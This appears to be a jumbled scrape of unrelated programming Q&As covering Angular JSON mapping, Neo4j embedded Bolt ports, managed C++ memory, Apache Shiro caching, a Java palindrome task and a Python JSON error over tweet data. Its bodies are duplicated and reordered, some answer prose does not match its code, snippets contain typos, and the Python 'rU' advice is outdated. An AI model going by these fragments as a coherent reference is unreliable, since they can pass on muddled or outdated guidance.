Another solution is to change your API so that data can deliver its content with data.json(). That way, you won't have to bypass type checking since the json() method returns an untyped value.

Be carefull though as your any object wil not have methods of the ProductVM if you ever add them in the future. You will need to manually create an instance with new ProductVM() and Object.assign on it to gain access to the methods.

Body:
So I'm getting the following JSON structure from my asp.net core api:

{
  "contentType": null,
  "serializerSettings": null,
  "statusCode": null,
  "value": {
     "productName": "Test",
     "shortDescription": "Test 123",
     "imageUri": "https://bla.com/bla",
     "productCode": null,
     "continuationToken": null
  }
}

I have the following typescript function that invokes the API to get the above response:

public externalProduct: ProductVM;

getProductExternal(code: string): Observable<ProductVM> {
    return this.http.get("api/product?productCode=" + code)
        .map((data: ProductVM) => {
            this.externalProduct = data; //not working...
            console.log("DATA: " + data);
            console.log("DATA: " + data['value']);
            return data;
        });
}

ProductVM:

export interface ProductVM {

    productName: string;
    shortDescription: string;
    imageUri: string;
    productCode: string;
    continuationToken: string;
}

My problem is that I can't deserialize it to ProductVM. The console logs just produce [object Object]

How can I actually map the contents of the value in my json response to a ProductVM object?

Is it wrong to say that data is a ProductVM in the map function? I have tried lots of different combinations but I cannot get it to work!

I'm unsure whether I can somehow automatically tell angular to map the value array in the json response to a ProductVM object or if I should provide a constructor to the ProductVM class (it's an interface right now), and extract the specific values in the json manually?

Body:
The data object in the map method chained to http is considered a Object typed object. This type does not have the value member that you need to access and therefore, the type checker is not happy with it.

Objects that are typed (that are not any) can only be assigned to untyped objects or objects of the exact same type. Here, your data is of type Object and cannot be assigned to another object of type ProductVM.

One solution to bypass type checking is to cast your data object to a any untyped object. This will allow access to any method or member just like plain old Javascript.

getProductExternal(code: string): Observable<ProductVM> {
  return this.http.get("api/product?productCode=" + code)
    .map((data: any) => this.externalProduct = data.value);
}

Another solution is to change your API so that data can deliver its content with data.json(). That way, you won't have to bypass type checking since the json() method returns an untyped value.

Be carefull though as your any object wil not have methods of the ProductVM if you ever add them in the future. You will need to manually create an instance with new ProductVM() and Object.assign on it to gain access to the methods.


问:
How to get the implicit port from an embedded Neo4j database?
Given one starts an embedded database:

```<code>BoltConnector boltConnector = new BoltConnector("bolt");
new GraphDatabaseFactory()
  .newEmbeddedDatabaseBuilder(Files.createTempDirectory("part-relasjon").toFile())
  .setConfig(boltConnector.enabled, "true")
  .setConfig(boltConnector.type, "BOLT")
  .setConfig(boltConnector.listen_address, "localhost:0")
  .newGraphDatabase();
</code>```

how do I get hold of the port to which the database is bound? I want to create a Driver to connect to the database:

```<code>GraphDatabase.driver("bolt://localhost:?")
</code>```

I am doing this to run integration tests in a specific application profile. Right now, I find a free port manually and bind the server and driver to it, but I am looking for a way of extracting it from the randomly selected port as it seems like the cleaner solution. I had a look into the Neo4jRule from the test package to see how it is done there but the latter bootstraps a server what is much more complex than the above code which is why I want to avoid it.

答:
This is an example from the documentation here : https://neo4j.com/docs/java-reference/3.3/#tutorials-java-embedded-bolt

```<code>GraphDatabaseSettings.BoltConnector bolt = GraphDatabaseSettings.boltConnector( "0" );

GraphDatabaseService graphDb = new GraphDatabaseFactory()
        .newEmbeddedDatabaseBuilder( DB_PATH )
        .setConfig( bolt.type, "BOLT" )
        .setConfig( bolt.enabled, "true" )
        .setConfig( bolt.address, "localhost:7687" )
        .newGraphDatabase();
</code>```

As you can see, here, you define the port (here 7687, the default one).

You can find a free port by yourself in java via something like that :

```<code>InetSocketAddress address = new InetSocketAddress( 'localhost', 7687 );
new ServerSocket( addres.getPort(), 100, address.getAddress() ).close();
</code>```

If you got an exception, port is not free.

It seems that since the version 3.3, you can define to 0 the port of any connector, and Neo4j will find a free port.

To know the port, you can try this java code (comes from here : https://github.com/neo4j/neo4j/blob/3.4/community/neo4j-harness/src/main/java/org/neo4j/harness/internal/InProcessServerControls.java):

```<code>server.getDependencyResolver().resolveDependency( ConnectorPortRegister.class ).getLocalAddress( "bolt" ).getPort();
</code>```

Cheers

Body:
Given one starts an embedded database:

BoltConnector boltConnector = new BoltConnector("bolt");
new GraphDatabaseFactory()
  .newEmbeddedDatabaseBuilder(Files.createTempDirectory("part-relasjon").toFile())
  .setConfig(boltConnector.enabled, "true")
  .setConfig(boltConnector.type, "BOLT")
  .setConfig(boltConnector.listen_address, "localhost:0")
  .newGraphDatabase();

how do I get hold of the port to which the database is bound? I want to create a Driver to connect to the database:

GraphDatabase.driver("bolt://localhost:?")

I am doing this to run integration tests in a specific application profile. Right now, I find a free port manually and bind the server and driver to it, but I am looking for a way of extracting it from the randomly selected port as it seems like the cleaner solution. I had a look into the Neo4jRule from the test package to see how it is done there but the latter bootstraps a server what is much more complex than the above code which is why I want to avoid it.

Body:
This is an example from the documentation here : https://neo4j.com/docs/java-reference/3.3/#tutorials-java-embedded-bolt

GraphDatabaseSettings.BoltConnector bolt = GraphDatabaseSettings.boltConnector( "0" );

GraphDatabaseService graphDb = new GraphDatabaseFactory()
        .newEmbeddedDatabaseBuilder( DB_PATH )
        .setConfig( bolt.type, "BOLT" )
        .setConfig( bolt.enabled, "true" )
        .setConfig( bolt.address, "localhost:7687" )
        .newGraphDatabase();

As you can see, here, you define the port (here 7687, the default one).

You can find a free port by yourself in java via something like that :

InetSocketAddress address = new InetSocketAddress( 'localhost', 7687 );
new ServerSocket( addres.getPort(), 100, address.getAddress() ).close();

If you got an exception, port is not free.

It seems that since the version 3.3, you can define to 0 the port of any connector, and Neo4j will find a free port.

To know the port, you can try this java code (comes from here : https://github.com/neo4j/neo4j/blob/3.4/community/neo4j-harness/src/main/java/org/neo4j/harness/internal/InProcessServerControls.java):

server.getDependencyResolver().resolveDependency( ConnectorPortRegister.class ).getLocalAddress( "bolt" ).getPort();

Cheers


答:
```<code>getProductExternal(code: string): Observable<ProductVM> {
    return this.http.get("api/product?productCode=" + code)
        .map(data => {
            this.externalProduct = <ProductVM>data;
            console.log("DATA: " + this.externalProduct);
            return data;
        });
}
</code>```

So, first we convert the response into a JSON.
I store it into response just to make it cleaner. Then, we have to navigate to value, because in your data value is the object that corresponds to ProductVM.

I would do it like this though:

Service

```<code>getProductExternal(code: string): Observable<ProductVM> {
        return this.http.get(`api/product?productCode=${code}`)
            .map(data => <ProductVM>data)
            .catch((error: any) => Observable.throw(error.json().error || 'Server error'));
    }
</code>```

Component

```<code>this.subscription = this.myService.getProductExternal(code).subscribe(
  product => this.externalProduct = product,
  error => console.warn(error)
);
</code>```

Title: Deserializing json in Angular 2/4 using HttpClientModule

Body:
getProductExternal(code: string): Observable<ProductVM> {
    return this.http.get("api/product?productCode=" + code)
        .map(data => {
            this.externalProduct = <ProductVM>data;
            console.log("DATA: " + this.externalProduct);
            return data;
        });
}

So, first we convert the response into a JSON.
I store it into response just to make it cleaner. Then, we have to navigate to value, because in your data value is the object that corresponds to ProductVM.

I would do it like this though:

Service

getProductExternal(code: string): Observable<ProductVM> {
        return this.http.get(`api/product?productCode=${code}`)
            .map(data => <ProductVM>data)
            .catch((error: any) => Observable.throw(error.json().error || 'Server error'));
    }

Component

this.subscription = this.myService.getProductExternal(code).subscribe(
  product => this.externalProduct = product,
  error => console.warn(error)
);


问:
Allocating unmanaged memory in managed .NET code
Hi I have a unmanaged function that takes a chunk of memory allocated by malloc and deallocates it later on in async manner. I want to wrap it into managed wrapper. Is following code OK?</p>

```<code>void managed_fx (byte data __gc[], size_t size)
{
    //  Pin the data
    byte __pin *pinned_data = &data [0];

    //  Copy data to the unmanaged buffer.
    void *unmanaged_data = malloc (size);
    memcpy (unmanaged_data, (byte*) pinned_data, size);

    //  Forward the call
    fx (unmanaged_data, size);
}
</code>```

答:
Ok, let's make it even simpler:

```<code>void managed_fx (byte data __gc[])
{
     //  Pin the data
     byte __pin *pinned_data = &data [0];

     //  Copy data to the unmanaged buffer.
     void *unmanaged_data = malloc (data.Length);
     assert (unmanaged_data);
     memcpy (unmanaged_data, (byte*) pinned_data, data.Length);

     //  Forward the call
     fx (unamanged_data, data.Length);
 }
</code>```

Still, I have couple of questions:

Is pinning necessary at all in this case? Can gc deallocate it before memcpy happens?

Does malloc allocate an unmanaged memory even though it's used in managed code?

OwnerDisplayName: martin

LastEditorDisplayName: MSalters

Body:
Hi I have a unmanaged function that takes a chunk of memory allocated by malloc and deallocates it later on in async manner. I want to wrap it into managed wrapper. Is following code OK?

void managed_fx (byte data __gc[], size_t size)
{
    //  Pin the data
    byte __pin *pinned_data = &data [0];

    //  Copy data to the unmanaged buffer.
    void *unmanaged_data = malloc (size);
    memcpy (unmanaged_data, (byte*) pinned_data, size);

    //  Forward the call
    fx (unmanaged_data, size);
}

Body:
Ok, let's make it even simpler:

void managed_fx (byte data __gc[])
{
     //  Pin the data
     byte __pin *pinned_data = &data [0];

     //  Copy data to the unmanaged buffer.
     void *unmanaged_data = malloc (data.Length);
     assert (unmanaged_data);
     memcpy (unmanaged_data, (byte*) pinned_data, data.Length);

     //  Forward the call
     fx (unamanged_data, data.Length);
 }

Still, I have couple of questions:

Is pinning necessary at all in this case? Can gc deallocate it before memcpy happens?

Does malloc allocate an unmanaged memory even though it's used in managed code?


问:
Difference between MemoryConstrianedCacheManager and EhCacheManager
I have more than two web applications deployed in tomcat. One of the application used apache shiro for session management . I need to get the session ID from the 1st application and use it in my other applications.

For Example

1st Application example uses MemoryConstrainedCacheManager

Shiro.ini

```<code>cacheManager = org.apache.shiro.cache.MemoryConstrainedCacheManager
securityManager.cacheManager = $cacheManager
</code>```

For 2st Application , if i use the same configuration of 1st

```<code>cacheManager = org.apache.shiro.cache.MemoryConstrainedCacheManager
securityManager.cacheManager = $cacheManager
</code>```

SSO session management is not working. I need to login again .

If i use EhcacheManager in both the application by configuring cache in xml its working,

```<code>ssoCacheManager = org.apache.shiro.cache.ehcache.EhCacheManager
ssoCacheManager.cacheManagerConfigFile = classpath:ehcache.xml
securityManager.cacheManager = $ssoCacheManager
</code>```

What is the difference between MemoryConstrained and EHCache manager ? Can i use memory constrained cache manager to store the session ID in tomcat container and use it in other web applications.

答: EHCache has a lot of features, take a look at the site. The MemoryConstrainedCacheManager is basically just a cache backed by a limited size Map.</p>

Body:
I have more than two web applications deployed in tomcat. One of the application used apache shiro for session management . I need to get the session ID from the 1st application and use it in my other applications.

For Example

1st Application example uses MemoryConstrainedCacheManager

Shiro.ini

cacheManager = org.apache.shiro.cache.MemoryConstrainedCacheManager
securityManager.cacheManager = $cacheManager

For 2st Application , if i use the same configuration of 1st

cacheManager = org.apache.shiro.cache.MemoryConstrainedCacheManager
securityManager.cacheManager = $cacheManager

SSO session management is not working. I need to login again .

If i use EhcacheManager in both the application by configuring cache in xml its working,

ssoCacheManager = org.apache.shiro.cache.ehcache.EhCacheManager
ssoCacheManager.cacheManagerConfigFile = classpath:ehcache.xml
securityManager.cacheManager = $ssoCacheManager

What is the difference between MemoryConstrained and EHCache manager ? Can i use memory constrained cache manager to store the session ID in tomcat container and use it in other web applications.


问:
Java - moving first letter of string to the end, and determining if word is the same when spelled backwards
I'm trying to make a program that when a user inputs a string using scanner, the first letter gets moved to the end of the word, and then the word is spelled backwards. The program then determines if you get the original word.

e.g if user types in 'potato' the program will move 'p' to the end, and will display true, as we get the same word backwards - 'otatop'.

Example output:
You have entered "BANANA".
Is ANANAB same as BANANA? True.

Thank you in advance for any help.

Jack

This is what I've got so far, but I don't think it works properly.

```<code>public class WordPlay {

    public static void main(String[] args) {

        Scanner scanner = new Scanner(System.in);
        String word;
        String palindrome = "";
        String quit = "quit";

        do {
            System.out.print("Enter a word: ");
            word = scanner.nextLine().toUpperCase();

            int length = word.length();

            for (int i = length - 1; i >= 0; i--) {
                palindrome = palindrome + word.charAt(i);
            }

            if (word.equals(palindrome)) {
                System.out.println("Is the word + palindrome + " same as " + word + "?", true);
            } else {
                System.out.println(false);
            }
        } while (!word.equals(quit));
        System.out.println("Good Bye");
        scanner.close();

    }

}
</code>```

答:
This is very simple with some of observation. Your question is you have to move the first latter to the end and check reverse if the new string is same or not.

My ovservation:

For BANANA new string is ANANAB. Now reverse the string and check weather it is same as the first one.
Now If you ignore the first char B the string will be ANANA. As you have to reverse the string and check this one is same as the first one so this is like palindrome problem. For the input BANANA ANANA is palindrome. We are moving the first char to the end so there is no impact of it on checking  palindrome. So I ignore the first char and check the rest is palindrome or not.

The Method is like:

```<code>private static boolean getAns(String word) {

        int st = 1;
        int en = word.length() - 1;

        while (st < en) {
            if (word.charAt(en) != word.charAt(st)) {
                return false;
            }
            st++;
            en--;
        }

        return true;
}
</code>```

The main function is:

```<code>public static void main(String[] args) {

        Scanner scanner = new Scanner(System.in);
        System.out.print("Input your String:");
        String word = scanner.nextLine();

        boolean ans = getAns(word);

        System.out.println("You have entered " + word + ". Is " + word.substring(1) + word.charAt(0) + " same as " + word + "? : " + ans + ".");

    }
</code>```

The Runtime for this problem is n/2 means O(n) and no extra memory and space needed,

Body:
I'm trying to make a program that when a user inputs a string using scanner, the first letter gets moved to the end of the word, and then the word is spelled backwards. The program then determines if you get the original word.

e.g if user types in 'potato' the program will move 'p' to the end, and will display true, as we get the same word backwards - 'otatop'.

Example output:
You have entered "BANANA".
Is ANANAB same as BANANA? True.

Thank you in advance for any help.

Jack

This is what I've got so far, but I don't think it works properly.

public class WordPlay {

    public static void main(String[] args) {

        Scanner scanner = new Scanner(System.in);
        String word;
        String palindrome = "";
        String quit = "quit";

        do {
            System.out.print("Enter a word: ");
            word = scanner.nextLine().toUpperCase();

            int length = word.length();

            for (int i = length - 1; i >= 0; i--) {
                palindrome = palindrome + word.charAt(i);
            }

            if (word.equals(palindrome)) {
                System.out.println("Is the word + palindrome + " same as " + word + "?", true);
            } else {
                System.out.println(false);
            }
        } while (!word.equals(quit));
        System.out.println("Good Bye");
        scanner.close();

    }

}

Body:
This is very simple with some of observation. Your question is you have to move the first latter to the end and check reverse if the new string is same or not.

My ovservation:

For BANANA new string is ANANAB. Now reverse the string and check weather it is same as the first one.
Now If you ignore the first char B the string will be ANANA. As you have to reverse the string and check this one is same as the first one so this is like palindrome problem. For the input BANANA ANANA is palindrome. We are moving the first char to the end so there is no impact of it on checking  palindrome. So I ignore the first char and check the rest is palindrome or not.

The Method is like:

private static boolean getAns(String word) {

        int st = 1;
        int en = word.length() - 1;

        while (st < en) {
            if (word.charAt(en) != word.charAt(st)) {
                return false;
            }
            st++;
            en--;
        }

        return true;
}

The main function is:

public static void main(String[] args) {

        Scanner scanner = new Scanner(System.in);
        System.out.print("Input your String:");
        String word = scanner.nextLine();

        boolean ans = getAns(word);

        System.out.println("You have entered " + word + ". Is " + word.substring(1) + word.charAt(0) + " same as " + word + "? : " + ans + ".");

    }

The Runtime for this problem is n/2 means O(n) and no extra memory and space needed,


问:
Error when applying tokenize to json with python
I have been following a tutorial that I can see has been popular among users however, there is an error that persists I have found no resolution for.
I am using PyCharm and Python3.6 with this code. I appreciate the time help and help, thank you.

Code:

```<code>import json
from collections import Counter
import re
from nltk.corpus import stopwords
import string

with open(fname, 'r', newline='\r\n') as f:
    count_all = Counter()
    for line in f:

        tweet = json.loads(line)
        terms_stop = [term for term in preprocess(tweet['text']) if term not in stop]
        terms_single = set(terms_stop)

        terms_hash = [term for term in preprocess(tweet['text']) if term.startswith('#')]

</code>```

The error I am getting is:

```<code>    Traceback (most recent call last):
  File "C:/Users/Sukhivinder/PycharmProjects/mscProjectOne/sentimentJSONfile.py", line 50, in <module>
    tweet = json.loads(line)
  File "C:\Program Files\Python36\lib\json\__init__.py", line 354, in loads
    return _default_decoder.decode(s)
  File "C:\Program Files\Python36\lib\json\decoder.py", line 339, in decode
    obj, end = self.raw_decode(s, idx=_w(s, 0).end())
  File "C:\Program Files\Python36\lib\json\decoder.py", line 357, in raw_decode
    raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
</code>```

Data:

```<code>{"created_at":"Wed Nov 15 21:37:57 +0000 2017","id":930912780831678464,"id_str":"930912780831678464","text":"Greatest Brexit speech ever? LABOUR MP\u2019s address will make your neck hairs stand up https:\/\/t.co\/5G3uEELEll","source":"\u003ca href=\"http:\/\/twitter.com\/download\/iphone\" rel=\"nofollow\"\u003eTwitter for iPhone\u003c\/a\u003e","truncated":false,"in_reply_to_status_id":null,"in_reply_to_status_id_str":null,"in_reply_to_user_id":null,"in_reply_to_user_id_str":null,"in_reply_to_screen_name":null,"user":{"id":886309819245879296,"id_str":"886309819245879296","name":"HMS","screen_name":"HMS150446","location":"England, United Kingdom","url":null,"description":"Any R\/T is not an endorsement but a way of sharing articles received on my twitter feed which I think are interesting and want to share.","translator_type":"none","protected":false,"verified":false,"followers_count":491,"friends_count":1480,"listed_count":4,"favourites_count":12236,"statuses_count":27375,"created_at":"Sat Jul 15 19:41:42 +0000 2017","utc_offset":null,"time_zone":null,"geo_enabled":false,"lang":"en","contributors_enabled":false,"is_translator":false,"profile_background_color":"F5F8FA","profile_background_image_url":"","profile_background_image_url_https":"","profile_background_tile":false,"profile_link_color":"1DA1F2","profile_sidebar_border_color":"C0DEED","profile_sidebar_fill_color":"DDEEF6","profile_text_color":"333333","profile_use_background_image":true,"profile_image_url":"http:\/\/pbs.twimg.com\/profile_images\/886676198155329538\/E8RsRDyz_normal.jpg","profile_image_url_https":"https:\/\/pbs.twimg.com\/profile_images\/886676198155329538\/E8RsRDyz_normal.jpg","profile_banner_url":"https:\/\/pbs.twimg.com\/profile_banners\/886309819245879296\/1500235099","default_profile":true,"default_profile_image":false,"following":null,"follow_request_sent":null,"notifications":null},"geo":null,"coordinates":null,"place":null,"contributors":null,"is_quote_status":false,"quote_count":0,"reply_count":0,"retweet_count":0,"favorite_count":0,"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/5G3uEELEll","expanded_url":"https:\/\/www.express.co.uk\/news\/politics\/880048\/Brexit-speech-Labour-MP-Peter-Shore-EU","display_url":"express.co.uk\/news\/politics\/\u2026","indices":[84,107]}],"user_mentions":[],"symbols":[]},"favorited":false,"retweeted":false,"possibly_sensitive":false,"filter_level":"low","lang":"en","timestamp_ms":"1510781877130"}
{"created_at":"Wed Nov 15 21:37:57 +0000 2017","id":930912782056345600,"id_str":"930912782056345600","text":"RT @ThatTimWalker: This is a courageous journalist and a courageous newspaper. Would Mrs May have owned up to our Russian problem if i\u2026 ","source":"\u003ca href=\"http:\/\/twitter.com\/#!\/download\/ipad\" rel=\"nofollow\"\u003eTwitter for iPad\u003c\/a\u003e","truncated":false,"in_reply_to_status_id":null,"in_reply_to_status_id_str":null,"in_reply_to_user_id":null,"in_reply_to_user_id_str":null,"in_reply_to_screen_name":null,"user":{"id":2687419047,"id_str":"2687419047","name":"Elizabeth#FBPE#StopBrexit","screen_name":"epcarruthers","location":"Edinburgh and Dormont","url":null,"description":"wife,mother, grandmother, gardener, LibDemocrat, and owner of 2 delightful cats.","translator_type":"none","protected":false,"verified":false,"followers_count":248,"friends_count":185,"listed_count":2,"favourites_count":18269,"statuses_count":29872,"created_at":"Tue Jul 08 15:24:35 +0000 2014","utc_offset":null,"time_zone":null,"geo_enabled":false,"lang":"en","contributors_enabled":false,"is_translator":false,"profile_background_color":"C0DEED","profile_background_image_url":"http:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_image_url_https":"https:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_tile":false,"profile_link_color":"1DA1F2","profile_sidebar_border_color":"C0DEED","profile_sidebar_fill_color":"DDEEF6","profile_text_color":"333333","profile_use_background_image":true,"profile_image_url":"http:\/\/pbs.twimg.com\/profile_images\/715085957146525696\/edS1d2lF_normal.jpg","profile_image_url_https":"https:\/\/pbs.twimg.com\/profile_images\/715085957146525696\/edS1d2lF_normal.jpg","profile_banner_url":"https:\/\/pbs.twimg.com\/profile_banners\/2687419047\/1510238275","default_profile":true,"default_profile_image":false,"following":null,"follow_request_sent":null,"notifications":null},"geo":null,"coordinates":null,"place":null,"contributors":null,"retweeted_status":{"created_at":"Tue Nov 14 23:24:41 +0000 2017","id":930577252827516928,"id_str":"930577252827516928","text":"This is a courageous journalist and a courageous newspaper. Would Mrs May have owned up to our Russian problem if i\u2026 https:\/\/t.co\/U83rrcqahM","display_text_range":[0,140],"source":"\u003ca href=\"http:\/\/twitter.com\/download\/iphone\" rel=\"nofollow\"\u003eTwitter for iPhone\u003c\/a\u003e","truncated":true,"in_reply_to_status_id":null,"in_reply_to_status_id_str":null,"in_reply_to_user_id":null,"in_reply_to_user_id_str":null,"in_reply_to_screen_name":null,"user":{"id":60606206,"id_str":"60606206","name":"Tim Walker","screen_name":"ThatTimWalker","location":"London","url":null,"description":"A point of view","translator_type":"none","protected":false,"verified":true,"followers_count":18870,"friends_count":887,"listed_count":214,"favourites_count":8392,"statuses_count":26689,"created_at":"Mon Jul 27 14:07:16 +0000 2009","utc_offset":0,"time_zone":"Casablanca","geo_enabled":true,"lang":"en","contributors_enabled":false,"is_translator":false,"profile_background_color":"C0DEED","profile_background_image_url":"http:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_image_url_https":"https:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_tile":false,"profile_link_color":"1B95E0","profile_sidebar_border_color":"C0DEED","profile_sidebar_fill_color":"DDEEF6","profile_text_color":"333333","profile_use_background_image":true,"profile_image_url":"http:\/\/pbs.twimg.com\/profile_images\/914607099220496384\/dtzHhd2V_normal.jpg","profile_image_url_https":"https:\/\/pbs.twimg.com\/profile_images\/914607099220496384\/dtzHhd2V_normal.jpg","profile_banner_url":"https:\/\/pbs.twimg.com\/profile_banners\/60606206\/1398249447","default_profile":false,"default_profile_image":false,"following":null,"follow_request_sent":null,"notifications":null},"geo":null,"coordinates":null,"place":null,"contributors":null,"quoted_status_id":930576544820547584,"quoted_status_id_str":"930576544820547584","quoted_status":{"created_at":"Tue Nov 14 23:21:52 +0000 2017","id":930576544820547584,"id_str":"930576544820547584","text":"Playing catch-up on Brexit-Trump-Russia? My piece from May. Read it before Cambridge Analytica (of FBI & Wikileaks\u2026 https:\/\/t.co\/pnUZeed6kq","source":"\u003ca href=\"http:\/\/twitter.com\" rel=\"nofollow\"\u003eTwitter Web Client\u003c\/a\u003e","truncated":true,"in_reply_to_status_id":null,"in_reply_to_status_id_str":null,"in_reply_to_user_id":null,"in_reply_to_user_id_str":null,"in_reply_to_screen_name":null,"user":{"id":722242009,"id_str":"722242009","name":"Carole Cadwalladr","screen_name":"carolecadwalla","location":null,"url":"https:\/\/www.theguardian.com\/profile\/carolecadwalladr","description":"Late adopter. Early giver-upper. Guardian & Observer writer.","translator_type":"none","protected":false,"verified":false,"followers_count":44945,"friends_count":1866,"listed_count":547,"favourites_count":660,"statuses_count":2899,"created_at":"Sat Jul 28 14:06:01 +0000 2012","utc_offset":3600,"time_zone":"Amsterdam","geo_enabled":false,"lang":"en","contributors_enabled":false,"is_translator":false,"profile_background_color":"C0DEED","profile_background_image_url":"http:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_image_url_https":"https:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_tile":false,"profile_link_color":"1DA1F2","profile_sidebar_border_color":"C0DEED","profile_sidebar_fill_color":"DDEEF6","profile_text_color":"333333","profile_use_background_image":true,"profile_image_url":"http:\/\/pbs.twimg.com\/profile_images\/875727729525747717\/ZAIcCXFJ_normal.jpg","profile_image_url_https":"https:\/\/pbs.twimg.com\/profile_images\/875727729525747717\/ZAIcCXFJ_normal.jpg","profile_banner_url":"https:\/\/pbs.twimg.com\/profile_banners\/722242009\/1503701353","default_profile":true,"default_profile_image":false,"following":null,"follow_request_sent":null,"notifications":null},"geo":null,"coordinates":null,"place":null,"contributors":null,"is_quote_status":false,"extended_tweet":{"full_text":"Playing catch-up on Brexit-Trump-Russia? My piece from May. Read it before Cambridge Analytica (of FBI & Wikileaks fame!) sues @guardian into oblivion. They're trying to shut this - me, us - down. \nhttps:\/\/t.co\/KKZUJ81NE9","display_text_range":[0,225],"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/KKZUJ81NE9","expanded_url":"https:\/\/www.theguardian.com\/technology\/2017\/may\/07\/the-great-british-brexit-robbery-hijacked-democracy?CMP=share_btn_tw","display_url":"theguardian.com\/technology\/201\u2026","indices":[202,225]}],"user_mentions":[{"screen_name":"guardian","name":"The Guardian","id":87818409,"id_str":"87818409","indices":[131,140]}],"symbols":[]}},"quote_count":169,"reply_count":113,"retweet_count":2694,"favorite_count":2551,"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/pnUZeed6kq","expanded_url":"https:\/\/twitter.com\/i\/web\/status\/930576544820547584","display_url":"twitter.com\/i\/web\/status\/9\u2026","indices":[120,143]}],"user_mentions":[],"symbols":[]},"favorited":false,"retweeted":false,"possibly_sensitive":false,"filter_level":"low","lang":"en"},"is_quote_status":true,"extended_tweet":{"full_text":"This is a courageous journalist and a courageous newspaper. Would Mrs May have owned up to our Russian problem if it hadn't got into newspapers? I wonder. https:\/\/t.co\/Qj8AkSxnIx","display_text_range":[0,154],"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/Qj8AkSxnIx","expanded_url":"https:\/\/twitter.com\/carolecadwalla\/status\/930576544820547584","display_url":"twitter.com\/carolecadwalla\u2026","indices":[155,178]}],"user_mentions":[],"symbols":[]}},"quote_count":2,"reply_count":5,"retweet_count":206,"favorite_count":293,"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/U83rrcqahM","expanded_url":"https:\/\/twitter.com\/i\/web\/status\/930577252827516928","display_url":"twitter.com\/i\/web\/status\/9\u2026","indices":[117,140]}],"user_mentions":[],"symbols":[]},"favorited":false,"retweeted":false,"possibly_sensitive":false,"filter_level":"low","lang":"en"},"quoted_status_id":930576544820547584,"quoted_status_id_str":"930576544820547584","quoted_status":{"created_at":"Tue Nov 14 23:21:52 +0000 2017","id":930576544820547584,"id_str":"930576544820547584","text":"Playing catch-up on Brexit-Trump-Russia? My piece from May. Read it before Cambridge Analytica (of FBI & Wikileaks\u2026 https:\/\/t.co\/pnUZeed6kq","source":"\u003ca href=\"http:\/\/twitter.com\" rel=\"nofollow\"\u003eTwitter Web Client\u003c\/a\u003e","truncated":true,"in_reply_to_status_id":null,"in_reply_to_status_id_str":null,"in_reply_to_user_id":null,"in_reply_to_user_id_str":null,"in_reply_to_screen_name":null,"user":{"id":722242009,"id_str":"722242009","name":"Carole Cadwalladr","screen_name":"carolecadwalla","location":null,"url":"https:\/\/www.theguardian.com\/profile\/carolecadwalladr","description":"Late adopter. Early giver-upper. Guardian & Observer writer.","translator_type":"none","protected":false,"verified":false,"followers_count":44945,"friends_count":1866,"listed_count":547,"favourites_count":660,"statuses_count":2899,"created_at":"Sat Jul 28 14:06:01 +0000 2012","utc_offset":3600,"time_zone":"Amsterdam","geo_enabled":false,"lang":"en","contributors_enabled":false,"is_translator":false,"profile_background_color":"C0DEED","profile_background_image_url":"http:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_image_url_https":"https:\/\/abs.twimg.com\/images\/themes\/theme1\/bg.png","profile_background_tile":false,"profile_link_color":"1DA1F2","profile_sidebar_border_color":"C0DEED","profile_sidebar_fill_color":"DDEEF6","profile_text_color":"333333","profile_use_background_image":true,"profile_image_url":"http:\/\/pbs.twimg.com\/profile_images\/875727729525747717\/ZAIcCXFJ_normal.jpg","profile_image_url_https":"https:\/\/pbs.twimg.com\/profile_images\/875727729525747717\/ZAIcCXFJ_normal.jpg","profile_banner_url":"https:\/\/pbs.twimg.com\/profile_banners\/722242009\/1503701353","default_profile":true,"default_profile_image":false,"following":null,"follow_request_sent":null,"notifications":null},"geo":null,"coordinates":null,"place":null,"contributors":null,"is_quote_status":false,"extended_tweet":{"full_text":"Playing catch-up on Brexit-Trump-Russia? My piece from May. Read it before Cambridge Analytica (of FBI & Wikileaks fame!) sues @guardian into oblivion. They're trying to shut this - me, us - down. \nhttps:\/\/t.co\/KKZUJ81NE9","display_text_range":[0,225],"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/KKZUJ81NE9","expanded_url":"https:\/\/www.theguardian.com\/technology\/2017\/may\/07\/the-great-british-brexit-robbery-hijacked-democracy?CMP=share_btn_tw","display_url":"theguardian.com\/technology\/201\u2026","indices":[202,225]}],"user_mentions":[{"screen_name":"guardian","name":"The Guardian","id":87818409,"id_str":"87818409","indices":[131,140]}],"symbols":[]}},"quote_count":169,"reply_count":113,"retweet_count":2694,"favorite_count":2551,"entities":{"hashtags":[],"urls":[{"url":"https:\/\/t.co\/pnUZeed6kq","expanded_url":"https:\/\/twitter.com\/i\/web\/status\/930576544820547584","display_url":"twitter.com\/i\/web\/status\/9\u2026","indices":[120,143]}],"user_mentions":[],"symbols":[]},"favorited":false,"retweeted":false,"possibly_sensitive":false,"filter_level":"low","lang":"en"},"is_quote_status":true,"quote_count":0,"reply_count":0,"retweet_count":0,"favorite_count":0,"entities":{"hashtags":[],"urls":[],"user_mentions":[{"screen_name":"ThatTimWalker","name":"Tim Walker","id":60606206,"id_str":"60606206","indices":[3,17]}],"symbols":[]},"favorited":false,"retweeted":false,"filter_level":"low","lang":"en","timestamp_ms":"1510781877422"}
</code>```

I have added the full error message in response to a user however I had a post that consisted of majority code so required further text to allow the edit to be made.

答:
TL;DR:

For the open() function, use a U in the mode string.

What about my problem?

I changed your open() call to use Universal Newline Support.  It went...

From:

```<code>with open(fname, 'r', newline='\r\n') as f:
</code>```

To:

```<code>with open(fname, 'rU') as f:
</code>```

This fixed the problem in my testing.

What is Universal Newline Support?

From PEP-278:

This PEP discusses a way in which Python can support I/O on files which have a newline format that is not the native format on the platform, so that Python on each platform can read and import files with CR (Macintosh), LF (Unix) or CR LF (Windows) line endings.

Body:
